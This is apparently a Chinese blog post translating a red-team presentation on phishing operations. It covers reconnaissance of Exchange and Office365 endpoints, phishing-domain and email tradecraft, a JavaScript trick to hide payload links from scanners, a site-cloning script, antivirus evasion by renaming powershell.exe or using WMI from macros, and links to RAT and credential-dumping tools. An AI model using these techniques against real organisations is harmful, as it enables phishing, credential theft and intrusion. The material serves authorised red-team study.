刷Twitter看到一文,老外写的一个叙述红队以钓鱼为向量的行动,翻译学习了下。

英文原文:

https://ringzer0team.com/d/A-Journey-Into-a-RedTeam-2018.pdf

我的理解翻译如下:


红队

    红队怎么玩的呢?红队一般在行动前都会有自己的目标,下面的笔记是以钓鱼为攻击向量的一次红队行动。

  1. 制定红队目标

  2. 了解目标,收集目标信息

  3. 开始钓鱼攻击

  4. 制作包含恶意代码的Payload

  5. 猎杀时刻

  6. 使用的工具&建议


一、制定红队目标:

    0x1:   评估客户对威胁行为的反应能力

    0x2:通过实现预先定义的目标(访问CEO电子邮件、访问客户数据等)来评估他们的安全状态。

    0x3:演示攻击者用来攻击获得客户资产的潜在路径

内部安全测试 VS 红队目标

    内部安全测试:

        就像电影《第一滴血》里史泰龙出场一样,一个字,就是“干”,干掉所有的阻碍,直到干掉最大的Boss。

    红队:

        更像007一样,周密计划,精准打击,以最小行动,斩首行动。

二、识别目标

    我们的攻击向量是-钓鱼

  • 创建目标列表

  • 识别安全产品

  • 选择钓鱼主题

2.1 如何识别你的目标?

  1. 社交平台上可能会找到目标员工的照片,员工姓名等

  2. 搜索与目标相关的电子邮件的历史密码,搜索GitHub、pastebin等。

  3. OWA 和Office365是你的好朋友,

    OWA 泄漏GAL:

    https://your.target/owa/service.svc?action=GetPeopleFilters

        没有MFA(介绍)设备下,暴力破解密码,获得邮件读写权限

        https://your.target/EWS/Exchange.asmx

        云上的Office365   

  •  读写邮件

    https://outlook.office365.com/api/v1.0/

  • 密码暴力破解

    https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml

   4.  Shodan 搜索目标的公网IP段 和寻找:

  • Citrix 门户

  • OWA

  • VPN

  • 任何可以通过远程认证的服务,他们可能没有强制2FA认证,你就可以进行暴力破解。

    5.  给目标邮件服务器发送一封不存在的邮件地址,等待获取返回的错误信息。比如下面:

        通过错误的邮件,看看返回邮件信息判断对方邮件服务器使用的安全软件,配置了何种安全策略等。

     6.  认识你的目标,LinkedIn也是你的好朋友。(寻找该公司的员工信息)

     6.  浏览下目标的官网,寻找一些钓鱼主题的想法,比如忠诚度考验?

三、开始钓鱼

    开始钓鱼前有几大规则需要注意

  • 不要把恶意的有效载荷放入电子邮件

  • 不允许自动化解决方案洞察发现你的最后一步

  • 使用分类域

  • 使用SSL证书有效的HTTPS

  • 尽可能的让邮件看起来无聊

  • 避免域使用带错别字带域名

  • 不要重用您的域名

   分析原因

  1. 不要把恶意的有效载荷放入电子邮件

    通常发送钓鱼邮件带上一个指向你可以控制的服务器的链接,因为无论目标使用了何种安全产品,他们都会允许采用你给的链接,

    如果你的payload有什么问题,你可以及时的修改你控制的服务器。

    下面是一封钓鱼邮件例子:

    嗨,鲍伯,

        我们目前正在更新我们的行为守则。请尽快审查和接受。

    行为准则可以在这里找到:HTTPSE//PHISH.DOMIA/CONDEY/CODE/A2EF362E-4D0-B21D-5ABF-EDECE29 D365Cb/

    谢谢,来自人力资源部的查尔斯

    通过简单的Apache mod_rewrite规则生成具有唯一ID的“企业” URL

    重写代码如下:


  2. 效果如下:(类似DNSlog, 给每一个测试payload一个标识一样便于区分被钓鱼的对象)

    钓鱼URL:https://phishy.domain/company/code/a2ef362e-45d0- b21d-5abf-edce29d365cb/

    实际URL:https://phishy.domain/company/index.php


    1. RewriteEngine On

    2. RewriteCond %{REQUEST_FILENAME} !-f

    3. RewriteCond %{REQUEST_FILENAME} !-d

    4. RewriteRule ^(.*)$ index.php [L,QSA]

  2.  不允许自动化解决方案洞察发现你的最后一步

              使用JavaScript生成有效载荷的最终链接

        比如:让我们假设钓鱼网站上的HTML看起来是这样的:

        <a href="https://phishy.domain/payload.docm">下载行为准则</a>

        自动化安全工具可以很容易地处理HTML并拉动有效载荷来执行进一步的分析。

        但是如果使用Javascript生成最终的链接如下面这样:

<a id="download" href="#">下载行为准则</a><script>	document.getElementById("download").onclick = function() {		document.location = "https://phish" + "y.domain/pay" + "load.docm"; 	};	document.getElementById("download").click(); </script>

        网络钓鱼与用户体验有很大关系,不点击任何东西,而强制用户点击click()进行下载文件,浏览器将会提示下载窗口。

  3.  使用分类域名

        在评估之前,只需克隆一个合法网站,并要求安全产品对钓鱼域名进行分类。

        比如作者准备的在webroot目录下执行这个sh文件:

#!/bin/bashecho "Cloning $1"wget $1 -O index.html &> /dev/nullTAG="<base href=\"$1\"/></head>"sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/nullecho "index.html was saved and modified"

        搜索已经过期的域,分类,这可能是有用的,是分类域名最懒惰的方法。

作者也给出了脚本:https://raw.githubusercontent.com/Mr-Un1k0d3r/CatMyFish/master/CatMyFish.py

  4.  使用SSL证书有效的HTTPS

      使用免费的https证书,搭建网站。

  5.  尽可能的让邮件看起来无聊

        如果邮件非常非常无聊,但是又很重要,哪就太好了!比如下面几方面邮件:

  • 内部行为守则更新

  • 强制性骚扰网络课程等

  • 员工问卷调查等

这些邮件主题较少引起怀疑。

  6.  避免使用带错别字带域名

    作者了一个举例比较下面两个域名:

northsex.io      VS        northsec.canadianevent.com

   前者的钓鱼域名就是将真正的域名的northsec 改变了一个字母以此来迷惑用户,其实这个对于安全意识越来越高的现代人来说,

很容易就对前者产生了怀疑。但是现在的服务越来越多样化,很多公司都会有第三方服务,这些第三方服务通常会带上目标公司的域名做前缀。

比如:大绿盟的关爱痛服务-http://nsfocus.guanaitong.com/

主站:http://www.nsfocus.com.cn/ 关键字:nsfocus

第三方服务平台:使用关键字nsfocus做前缀

http://nsfocus.guanaitong.com/

如果构造nsf0cus.com.cn、nsFocus.com、nsfocus1.com.cn  这一类域名,很容易产生怀疑了。

哪么我们构造下面这些,你能看出哪些是钓鱼网站吗?

nsfocus.fuli.comnsfocus.baoxian.comnsfocus.gongjijin.comnsfocus.guanaitong.com

哦豁,怎么让腾讯爸爸打勾?

  7.  不要在其他项目重复使用你的域名

        避免泄漏了客户的信息

四、制作Payload

        通常的bypass安全产品检测的方法是执行不同的操作-这些产品通常是防止基于某些指纹的恶意有效载荷的执行。

        攻击者完成了bypass所有安全层的策略后,就能够在目标系统上悄无声息的执行恶意代码。

        混淆  规避

$a = 3;                                                // 原始代码 $a = 1 + 2;                                            // 混淆处理if(context == “sandbox”) { $a = 3; } else { exit() }   // 规避

        时髦的东西不一定是好事情,安全厂商通常会努力阻止最新的技巧,你最近一次听说发现一种新的很酷的检测二进制文件的方法?

    “现在人人都会用PowerShell”

        一些制作Payload的规则:

  • 不要直接执行PowerShell

    为此作者写了一个工具:PowerLessShell,实现了不调用powershell.exe的情况下执行PowserShell命令;

  • 如果你使用宏来执行命令,避免使用WScript.Shell 和 Shell(),因为大多数安全产品会跟踪WINWORD.exe触发生成子进程。你可以使用WMI来执行你的payload;作者也给了一个工具:MaliciousMacroGenerator

  • 如果你计划使用签名过的exe可执行文件,需要小心一些安全厂商将:regsvr32.exe, msbuild.exe等文件加入了黑名单的。

    作者提供了一个修改签名后的二进制文件Hash的工具,因此绕过黑名单,Windows-SignedBinary

    也可以执行使用copy复制一份新文件,改一个新名字。比如:



  • 添加些环境检测条件,避免在不合时宜的环境下执行无意义的代码。

    这里提到了ClickOnce, 给了一个工具 https://github.com/Mr-Un1k0d3r/ClickOnceGenerator


    可能早已经有一些人写好了一些混淆你的payload的工具

    比如:

    SCT COM Scriptlet: https://github.com/Mr-Un1k0d3r/SCT-obfuscator

    EXE (shellcode): https://github.com/Mr-Un1k0d3r/UniByAv

    EXE (shellcode): https://github.com/Mr-Un1k0d3r/DKMC

    Base64 (PowerShell): https://github.com/Mr-Un1k0d3r/Base64-Obfuscator

    尽可能隐蔽的连接回你的C2服务器

    作者提供了一个工具,ThunderShell。它是一个依赖于HTTP请求进行通信的基于powershell外壳的RAT。使用RC4的第二层对所有网络流量进行加密,以避免SSL拦截并击败网络钩子。

  • 选择一个合适的payload:

    1. copy powershell.exe tLclgEomOrR.exe

    2. tLclgEomOrR.exe exec bypass Get-Help

    3. 或者用宏完成:

    4. o = CreateObject("Scripting.FileSystemObject")

    5. o.CopyFile(source, destination)

  • Macro: 自从Office 2016后,默认就关闭了宏

  • HTA:这是一个很流行,但是经常被检测发现的

  • ClickOnce: 要求使用IE 浏览器

  • EXE: 可能被应用程序的白名单阻止



    不要直接执行PowerShell,对比如下:





Macro -> WMI -> PowerShell

                 VS

Macro -> WMI -> PowerLessShell (MSBuild)

我们精心制作的payload被安全产品友好的接纳,现在已经准备好大干一场。

五、猎杀时刻

                                    We have a shell(鱼儿上钩了)

鱼儿上钩了后第一件事就是在鱼儿掉线之前,尽可能的获取更多的信息。

用户名,邮件列表

  • 避免直接执行PowerShell 

  • 避免使用net 家族的命令发起网络行为

  • 避免连接所有的系统

可行方案是使用,非托管的PowerShell和LDAP查询

比如:CobaltStrike 内置的powerpick命令,作者给的ThunderShell 工具也支持。

作者给了一些dump 用户名,dump邮件的Powershell脚本

https://raw.githubusercontent.com/Mr-Un1k0d3r/RedTeamPowershellScripts/master/scripts/Utility.ps1

后面基本说的是他写的RedTeamPowershellScripts的可以干些什么事,有什么作用了,耐心的话可以去Gayhub学习。


六、工具&技巧

        大多数Windows命令可以通过PowerShell来调用,为了不派生出cmd.exe可以用

CobaltStrike的powerpick 或者作者的 PowerLessShell         

https://github.com/PowerShellMafia/PowerSploit 这个开源项目也提供了很多有用的脚本

        因为时间的紧迫,可能红队没有多少时间去思考做好隐蔽性,但是可以使用适当的技术和适当的工具让攻击变得隐蔽。

        一次好的钓鱼行动,获得的结果是不同的,制作payload是一门艺术,耐心对待。

不惜一切代价避免直接执行PowerShell.